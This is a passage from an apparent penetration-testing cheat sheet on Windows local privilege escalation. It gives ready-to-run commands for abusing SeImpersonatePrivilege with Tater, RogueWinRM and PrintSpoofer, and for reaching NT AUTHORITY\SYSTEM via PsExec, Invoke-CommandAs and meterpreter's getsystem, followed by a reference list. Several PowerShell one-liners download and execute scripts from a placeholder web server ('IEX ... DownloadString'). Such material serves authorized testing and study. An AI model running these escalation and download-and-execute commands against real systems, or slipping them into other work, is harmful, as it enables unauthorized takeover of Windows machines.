powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/Tater.ps1'); Invoke-Tater -Command <POWERSHELLCMD>;

RogueWinRM

Starting from Windows 10 1809 (and Windows Server 2019 if the WinRM service is not already started), RogueWinRM can be used to exploit the SeImpersonatePrivilege privilege.

RogueWinRM -p <BINARY_PATH | C:\windows\system32\cmd.exe> [-a "<COMMAND_LINE_ARGUMENTS>"]

PrintSpoofer

If the Print Spooler service is running locally (or can be started), PrintSpoofer can be used to exploit the SeImpersonatePrivilege privilege (tested on Windows 10 and Windows Server 2016 / 2019).

# Checks if the Print Spooler service is running.
sc qc Spooler
Get-Service -Name Spooler

# Attempts to start the Print Spooler service.
net start Spooler
Start-Service -Name Spooler

# -i: interactive process. Default is non-interactive.
PrintSpoofer.exe [-i] -c "<cmd.exe | powershell.exe | BINARY_PATH | cmd.exe COMMAND_LINE_ARGUMENTS | ...>"

Local administrator to NT AUTHORITY\SYSTEM

The LocalSystem account (associated with the NT AUTHORITY\SYSTEM SID) is used by the operating system and by services that run under Windows. It is an internal account, which does not show up in User Manager and cannot be added to any security groups. Executing code under the LocalSystem account may be needed in some circumstances (for example to leverage specific privileges associated with the LocalSystem account, such as the SeTcbPrivilege privilege).

The PsExec Microsoft signed tool can be used to elevate to LocalSystem from an administrator account (through a Windows service):

# -s   Run the remote process in the System account.
# -i   Run the program so that it interacts with the desktop of the specified session on the remote system
# -d   Don't wait for process to terminate (non-interactive).

psexec.exe -accepteula -s -i -d cmd.exe

The Invoke-CommandAs PowerShell cmdlet can also be used to execute code as LocalSystem account (through a Scheduled Task):

# Injects the Module in memory.
IEX (New-Object Net.WebClient).DownloadString("http://<WEB_SERVER>/Invoke-CommandAs/Private/Invoke-ScheduledTask.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://<WEB_SERVER>/Invoke-CommandAs/Public/Invoke-CommandAs.ps1")

Invoke-CommandAs -AsSystem -ScriptBlock { <POWERSHELL_CODE> }

If a meterpreter shell is being used, the getsystem command can be leveraged to the same end.

---

References

https://stackoverflow.com/questions/1331887/detect-antivirus-on-windows-using-c-sharp

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

https://ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates

https://www.elastic.co/fr/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All-wp.pdf

https://book.hacktricks.xyz/windows/windows-local-privilege-escalation

https://docs.microsoft.com/fr-fr/windows/desktop/SecAuthZ/ace-strings

https://blogs.msmvps.com/erikr/2007/09/26/set-permissions-on-a-specific-service-windows/

http://www.alex-ionescu.com/publications/BlueHat/bluehat2016.pdf

https://recon.cx/2018/brussels/resources/slides/RECON-BRX-2018-Linux-Vulnerabilities_Windows-Exploits--Escalating-Privileges-with-WSL.pdf

https://resources.infosecinstitute.com/windows-subsystem-linux/#gref

https://mspscripts.com/get-installed-antivirus-information-2/

https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/

https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/

https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/

https://itm4n.github.io/localservice-privileges/

https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights